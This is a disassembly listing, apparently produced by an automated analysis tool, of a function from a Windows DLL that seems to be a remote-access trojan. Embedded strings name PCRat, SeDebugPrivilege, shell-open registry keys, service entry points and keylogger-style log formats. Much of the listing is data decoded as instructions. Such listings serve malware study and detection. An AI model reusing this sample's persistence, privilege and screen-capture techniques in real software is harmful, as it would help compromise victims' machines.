Function at 0x1000aa30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001660e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x1001759c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x1000aaeb
mov ecx, dword [esp + 0x64]
xor ebp, ebp
mov dword [esp + 0x5c], ebp
mov dword [esi], 0x100175a0
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x1000ab24.2
xor edx, edx
mov dl, byte [eax + 0x1000acd8]
jmp dword [edx*4 + 0x1000acd0]
mov dword [esi + 0x70], ecx
jmp 0x1000ab37
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.1000b3c0
test al, al
jne 0x1000ab58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov ecx, dword [esi + 0x44]
mov edi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ecx
mov dword [esi + 0x30], ebp
mov byte [esi + 0x24], al
call edi
mov edx, dword [esi + 0x44]
mov dword [esi + 0x4c], eax
push edx
call edi
push ebp
mov dword [esi + 0x80], eax
call edi
push ebp
mov dword [esi + 0x48], eax
call edi
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
push 1
lea edi, [esi + 0x5c]
lea ebx, [esi + 0x60]
push eax
push ecx
mov ecx, esi
mov dword [edi], ebp
mov dword [ebx], ebp
call fcn.1000b0e0
mov edx, dword [esi + 0x2c]
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x28]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000b0e0
mov edx, dword [esi + 0x28]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x70]
push 1
push edx
push eax
mov ecx, esi
call fcn.1000b0e0
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x44]
push ebp
push ebp
push edi
mov edi, dword [sym.imp.GDI32.dll_CreateDIBSection]
push ebp
push ecx
push edx
mov dword [esi + 0x6c], eax
call edi
push ebp
mov dword [esi + 0x54], eax
push ebp
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
push ebx
push ebp
push eax
push ecx
call edi
mov ecx, dword [esi + 0x44]
push ebp
lea edx, [esi + 0x78]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x68]
push ebp
push edx
push ebp
push eax
push ecx
call edi
mov edx, dword [esi + 0x58]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push ebp
lea ecx, [esi + 0x34]
push ebp
push ecx
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], ebp
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [esi], dl
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ae51
jae 0x1001ae55
outsd dx, dword [esi]
jb 0x1001ae2b
jb 0x1001ae4c
add byte gs:[eax], al
daa
add byte [ecx + 0x43], cl
dec ecx
inc ebx
push ebx
jno 0x1001ae35
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ae68
jae str.MSVFW32.dll
inc esi
jb 0x1001ae5d
insd dword es:[edi], dx
inc ebp
outsb dx, byte [esi]
add byte fs:[0x53434900], ah
dec ecx
inc ebx
push ebx
outsb dx, byte gs:[esi]
dec ebp
jae 0x1001ae81
popal
add byte gs:[bp + di], dl
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001ae80
add byte [ebx], bl
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc edi
je 0x1001ae6d
outsb dx, byte [esi]
outsw dx, word [esi]
add byte [edx], ah
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
dec edi
jo 0x1001ae94
outsb dx, byte [esi]
add byte [eax], al
push ds
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
add byte [eax], al
add byte es:[ecx + 0x43], cl
dec ecx
inc ebx
push ebx
jno 0x1001ae87
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001aeba
jae 0x1001aebe
inc esi
jb 0x1001aeaf
insd dword es:[edi], dx
add byte gs:[eax], al
sub byte [eax], al
dec ecx
add byte [eax], ch
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
push ebx
jno 0x1001ae9d
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001aed0
jb 0x1001aec4
jae 0x1001aed4
jae 0x1001aed4
inc esi
jb 0x1001aec5
insd dword es:[edi], dx
push ebx
je 0x1001aeca
popal
jb 0x1001aedf
add byte [ebp + 0x53], cl
dec ebp
push ebx
dec ebp
push ebx
push esi
inc esi
push edi
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [edi + 0x54], dl
push edi
push esp
push ebx
inc ecx
push eax
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
enter 0x5f01, 0x73
pop edi
invalid
add dword [edi + 0x73], ebx
pop edi
invalid
je 0x1001aefe
jb 0x1001aef3
jbe 0x1001ae90
ret
je 0x1001af08
insb byte es:[edi], dx
ja 0x1001af0b
add ch, al
add dword [edi + 0x73], ebx
pop edi
jae 0x1001af13
invalid
jae 0x1001af13
jb 0x1001af0f
outsb dx, byte [esi]
imul esp, dword [ebx + 0x6d], 0x70
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec edx
fdivr st(3), st(0)
dec ebx
add byte [eax], al
add byte [eax], al
add byte [edx - 0x24], cl
dec ebx
add byte [eax], al
add byte [eax], al
in al, dx
scasb al, byte es:[edi]
add dword [eax], eax
add dword [eax], eax
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add byte [edx], al
add byte [eax], al
add al, bl
scasb al, byte es:[edi]
add dword [eax], eax
add byte [eax], al
fsubr dword [esi - 0x511fffff]
loopne 0x1001ae80
add dword [eax], eax
call 0xa001b087
fld qword [eax]
add al, al
fadd qword [eax]
add bh, dh
scasb al, byte es:[edi]
add dword [eax], eax
add ebp, dword [edi + 1]
add dword [eax], eax
push ebx
jb 0x1001af66
jb 0x1001af21
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x65], dl
jb 0x1001af71
imul esp, dword [ebx + 0x65], 0x6e69614d
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
imul ebp, dword [esi + 0x73], 0x6c6c6174
dec ebp
popal
imul ebp, dword [esi], 0x6e696e55
push ebp
outsb dx, byte [esi]
invalid
outsb dx, byte [esi]
jae 0x1001af7d
je 0x1001af6b
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
push ebx
jb 0x1001af86
jbe 0x1001af76
jb 0x1001af13
jb 0x1001af13
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
sbb eax, dword [eax]
adc byte [eax + 0x10007a], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], al
inc esi
add byte [edx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
sbb eax, dword [eax]
adc byte [eax + 0x10007a], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], al
inc esi
add byte [edx], dh
imul eax, dword [eax], 0x6e0065
add byte fs:[eax + eax + 0x79], ch
add byte [esi], cl
popal
add byte [ebp], ch
add byte gs:[eax], al
add byte [eax], al
add byte [ebx], ah
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [edi], al
inc edi
add byte [edx], dh
popal
add byte [edx], ah
bound eax, qword [eax]
add byte gs:[edx], dh
add byte [eax], al
inc ebx
add byte [ecx], ah
jo 0x1001b05a
je 0x1001b05c
jne 0x1001b05e
jb 0x1001b060
add byte gs:[eax], ah
add byte [esi], al
imul eax, dword [eax], 0x74006c
add byte gs:[edx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop eax
add dword [ecx], 0x10
add byte [eax], al
add byte [eax], al
push eax
inc ecx
pop eax
add byte [eax], al
add byte [eax], al
pop eax
add dword [ecx], 0x10
add byte [eax], al
add byte [eax], al
push eax
inc ecx
inc esp
add byte [eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [ecx + 0x6c], al
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
add byte gs:[eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [edx + 0x75], ah
jb 0x1001b0b3
add byte [edx + 0x65], dl
push edx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001b121
dec ebx
jns str.RegSetValueExA
push edx
push ebx
je 0x1001b11d
popal
insb byte es:[edi], dx
jne 0x1001b130
inc ebp
js 0x1001b10f
add byte [eax], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001b13a
push ebx
jb 0x1001b14f
imul esp, dword [ebx + 0x65], 0x646e6148
insb byte es:[edi], dx
add byte gs:[eax], al
dec edi
jo 0x1001b14c
outsb dx, byte [esi]
inc ebp
jbe str._s_shellopencommand
outsb dx, byte [esi]
je 0x1001b13a
outsd dx, dword [esi]
inc ecx
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
je 0x1001b14b
jb 0x1001b171
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x1001b177
add byte [eax], al
add byte [eax], al
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push edx
imul esi, dword gs:[bp + di + 0x74], 0x65537265
jb 0x1001b19a
je 0x1001b184
jb 0x1001b174
jb 0x1001b19a
imul esp, dword [ebx + 0x65], 0x6c727443
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
jb 0x1001b174
add byte [edi + 0x69], dl
push edi
invalid
outsb dx, byte [esi]
push ebx
je 0x1001b19b
xor byte [esp + eax*2 + 0x65], bl
popaw
jne 0x1001b1ae
je 0x1001b144
and byte [eax], al
add byte [eax], al
and eax, 0x22000031
add byte [edx], ah
and ah, byte [0x73250031]
invalid
invalid
and eax, 0x73250031
invalid
invalid
add byte [0x68735c73], ah
and eax, 0x68735c73
and eax, 0x68735c73
pop esp
jae 0x1001b1bd
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo 0x1001b1c1
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [esi], ch
add byte cs:[eax], al
add byte cs:[eax], al
add byte [0x2e2a5c73], ah
and eax, 0x2e2a5c73
jae 0x1001b1cf
sub ch, byte [esi]
sub al, byte cs:[eax]
sub al, byte [eax]
add byte [0x73255c73], ah
add byte [eax], al
add byte [0x25732573], ah
and eax, 0x25732573
jae 0x1001b187
and eax, 0x25000073
invalid
jae 0x1001b1b0
add byte [0x2a732573], ah
and eax, 0x2a732573
jae 0x1001b1b7
sub al, byte cs:[eax]
pop esp
add byte [eax], al
add byte [edi + 0x70], ch
outsd dx, dword [esi]
jo 0x1001b1fc
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push edi
imul ebp, dword [esi + 0x52], 0x7261
push eax
jb 0x1001b216
add byte [edi + 0x69], dl
push edi
invalid
outsb dx, byte [esi]
push edx
popal
jb 0x1001b1a3
add byte [eax + 0x72], dl
push eax
jb 0x1001b216
arpl word [ebp + 0x73], sp
jae 0x1001b21b
jb 0x1001b1fc
popal
insd dword es:[edi], dx
push ebx
je 0x1001b226
imul ebp, dword [esi + 0x67], 0x484d7e00
jle 0x1001b207
dec eax
add byte [esi + 0x4d], bh
jle 0x1001b207
dec eax
jp 0x1001b1bd
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x1001b24b
je 0x1001b23f
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x1001b253
popal
insb byte es:[edi], dx
push eax
jb 0x1001b255
arpl word [ebp + 0x73], sp
jae 0x1001b25a
jb 0x1001b249
xor byte [eax], al
add byte [ebx], dh
xor ebp, dword [esi]
xor al, 0x2e
xor byte [esi], ch
xor byte [eax], al
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x1001b263
push ebx
jb 0x1001b278
imul esp, dword [ebx + 0x65], 0x43504c28
push esp
push ebx
push esp
push edx
and byte [eax + esi*2 + 0x53], ch
jb 0x1001b28a
imul esp, dword [ebx + 0x65], 0x656d614e
dec esi
popal
insd dword es:[edi], dx
sub dword gs:[eax], eax
sub dword [eax], eax
add byte [eax], al
add cl, cl
mov esi, 0xb2b0fdb3
xlatb
mov al, 0xce
les edi, [esi + edi*8 + 0xbaa3]
dec ecx
outsb dx, byte [esi]
jae 0x1001b2a8
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
dec ebp
outsd dx, dword [esi]
jne 0x1001b2a8
add byte gs:[eax], al
add byte [ebx + 0x25], dh
jae 0x1001b267
pop esp
jae 0x1001b2aa
arpl word [ecx + 0x76], bp
jb 0x1001b2af
push ebx
push ebx
pop esp
je 0x1001b293
push ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x1001b2c7
outsb dx, byte [esi]
outsd dx, dword [esi]
inc ebx
je 0x1001b2c6
jb 0x1001b2cd
jb 0x1001b2d1
jne 0x1001b2a0
inc ebx
pop esp
dec ebp
inc ebp
push esp
push ebx
pop ecx
push ebx
add byte [eax], al
add byte [eax], al
push edx
push ebx
je 0x1001b2c5
popal
insb byte es:[edi], dx
jne 0x1001b2d8
inc ebp
js 0x1001b29e
jae str.PCRat_Update
popal
jb 0x1001b2ef
sub dword [eax], eax
add byte [eax], al
add byte [ecx + edi*2 + 0x70], dl
push esp
jns 0x1001b2f3
add byte gs:[eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001b304
jb 0x1001b2f9
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001b2da
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001b30d
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
inc ebp
je 0x1001b2fd
pop esp
push ebx
jb 0x1001b31b
imul esp, dword [ebx + 0x65], 0x5c73
jae 0x1001b306
add byte [eax], al
push edx
push ecx
push ecx
jne 0x1001b317
jb 0x1001b32d
push esi
popal
insb byte es:[edi], dx
jne 0x1001b31e
inc ebp
js 0x1001b2e4
push esp
jns 0x1001b32f
sub dword gs:[eax], eax
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
pop esp
jae 0x1001b344
add byte [ebx + esi*2 + 0x79], bl
pop esp
jae 0x1001b344
jae 0x1001b339
outsd dx, dword [esi]
popal
popal
je 0x1001b2d4
iretd
int 0xea
mov cl, 0xcf
add byte [eax], al
add byte [eax], al
iretd
mov dl, 0xa2
salc
mov ah, 0xd0
sar byte [edx], 1
add byte [eax + 0x43], dl
push eax
inc ebx
push eax
inc ebx
push edx
popal
je 0x1001b312
push ebp
jo 0x1001b359
popal
je 0x1001b35d
add byte [eax], al
add byte [eax], al
inc ecx
add byte [eax], al
add byte [ecx + 0x70], al
inc ecx
jo 0x1001b36f
insb byte es:[edi], dx
jo 0x1001b36f
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
imul ebp, dword [edi + 0x6e], 0x65695c73
js 0x1001b37d
outsb dx, byte [esi]
jae 0x1001b365
imul esp, dword [ebp + 0x78], 0x726f6c70
js 0x1001b37a
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x1001b376
js 0x1001b37a
js 0x1001b37a
pop esp
jae 0x1001b380
push 0x5c6c6c65
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo str.SeDebugPrivilege
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
push ebx
jns 0x1001b3a2
je 0x1001b396
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
jo 0x1001b3b3
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
add byte [ebp + 0x73], dh
jne 0x1001b3c1
jb 0x1001b351
add byte [eax], al
add byte [edx + 0x65], dl
push edx
insd dword es:[edi], dx
popal
jb 0x1001b3c5
imul eax, dword [eax], 0
add byte [eax], al
into
les edi, [esi + edi*8 - 0x194b444e]
aam 0xda
add byte [eax], al
and eax, 0x616c5f73
fiadd dword [eax]
add byte [0x616c5f73], ah
and eax, 0x616c5f73
popal
outsb dx, byte [esi]
imul ebp, dword cs:[bp + 0x69], 0x6d616e00
outsb dx, byte [esi]
popal
insd dword es:[edi], dx
imul ebp, dword cs:[esi + 0x69], 0x6d616e00
outsb dx, byte [esi]
popal
insd dword es:[edi], dx
insd dword es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
imul esp, dword [ebx + 0x6f], 0x6e
add byte [ebx + 0x65], dl
push ebx
inc esp
arpl word [edi + 0x6e], bp
add byte [eax], al
add byte [eax], al
push ebx
inc esp
bound esi, qword gs:[ebp + 0x67]
push eax
jb 0x1001b3f7
jbe 0x1001b3f9
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [eax], al
jae 0x1001b400
arpl word [edi + 0x6f], bx
jae 0x1001b3cd
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
jae str._d.bak
arpl word [esi], bp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [edi + 0x69], dh
ja 0x1001b417
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
js 0x1001b41d
add byte [eax], al
add byte [eax], al
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x1001b427
push ebx
jb 0x1001b43c
jbe 0x1001b430
imul esp, dword [ebx + 0x65], 0x735f6d28
arpl word [ebp + 0x28], sp
insd dword es:[edi], dx
pop edi
jae 0x1001b442
je 0x1001b441
jb 0x1001b423
push ebx
jb 0x1001b449
imul esp, dword [ebx + 0x65], 0x656d614e
sub dword [ebx], edi
add byte [eax], al
add byte [eax], al
push ebp
outsb dx, byte [esi]
dec ecx
outsb dx, byte [esi]
jae 0x1001b45a
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
push ebx
jb 0x1001b463
imul esp, dword [ebx + 0x65], 0x2928
and eax, 0x6c645c73
insb byte es:[edi], dx
insb byte es:[edi], dx
arpl word [ecx + 0x63], sp
push 0x73255c65
add byte [eax], al
and eax, 0x6c642e73
and eax, 0x25000073
invalid
jae 0x1001b435
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
and eax, 0x61622e64
imul eax, dword [eax], 0
mov bl, 0xcc
sal dl, 1
ret
dec dh
int1
ret
add byte [0x30255b0a], cl
or eax, 0x30255b0a
xor ah, byte [edi + ebp + 0x25]
xor byte [edx], dh
das
and eax, 0x2f643230
and eax, 0x2f643230
das
and eax, 0x30252064
xor ah, byte [edx + edi + 0x25]
xor byte [edx], dh
xor byte [edx], dh
cmp ah, byte fs:[0x3a643230]
and eax, 0x5d643230
cmp ah, byte fs:[0x5d643230]
pop ebp
pop ebp
and byte [eax], ch
and eax, 0xa0d2973
add byte [eax], al
pop ebp
add byte [eax], al
add byte [0x5f00000a], cl
pop edi
or al, byte [eax]
add byte [ebp], bl
add byte [eax], al
or eax, 0x5f00000a
pop edi
imul esp, dword [ecx + 0x73], 0x70
jb 0x1001b4cf
jb 0x1001b4cf
imul edi, dword [ecx], 0
push edx
inc ebp
inc edi
pop edi
inc edx
dec ecx
dec esi
inc ecx
push edx
pop ecx
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0x5200000a], cl
push edx
inc ebp
inc edi
pop edi
dec ebp
push ebp
dec esp
push esp
dec ecx
pop edi
push ebx
pop edx
add byte [eax], al
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [eax], dh
js 0x1001b4c0
js 0x1001b4c5
and eax, 0xd202964
or al, byte [eax]
push edx
inc ebp
inc edi
pop edi
inc esp
push edi
dec edi
push edx
inc esp
add byte [eax], al
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0xa0d2073], ah
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
or al, byte [eax]
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
inc ebp
pop eax
push eax
inc ecx
dec esi
inc esp
pop edi
push ebx
pop edx
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
push ebx
pop edx
add byte [eax], al
pop ebx
and eax, 0xa0d5d73
add byte [eax], al
and eax, 0x44000064
inc esp
jae 0x1001b54f
jb 0x1001b557
jo 0x1001b564
imul ebp, dword [edi + 0x6e], 0x53595300
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001b570
jb 0x1001b565
outsb dx, byte [esi]
je 0x1001b546
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001b579
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001b569
push ebx
jb 0x1001b587
imul esp, dword [ebx + 0x65], 0x73255c73
add byte [eax], al
add byte [eax], al
dec esp
outsd dx, dword [esi]
arpl word [ecx + 0x6c], sp
push ebx
jns 0x1001b597
je 0x1001b58b
insd dword es:[edi], dx
add byte [eax], ah
and byte [ebp + 0x6e], ah
and byte fs:[ebp + 0x6c], al
je 0x1001b598
push ebx
jb 0x1001b5ad
imul esp, dword [ebx + 0x65], 0x65440000
inc esp
insb byte es:[edi], dx
je 0x1001b5a7
push ebx
jb 0x1001b5bc
imul esp, dword [ebx + 0x65], 0x5c000000
pop esp
arpl word [ebp + 0x64], bp
js 0x1001b5b9
js 0x1001b5b9
add byte [eax], al
add byte [eax], al
jae 0x1001b5cd
add byte [ebx + 0x73], dh
jae 0x1001b5cd
arpl word gs:[edi + 0x72], bp
push eax
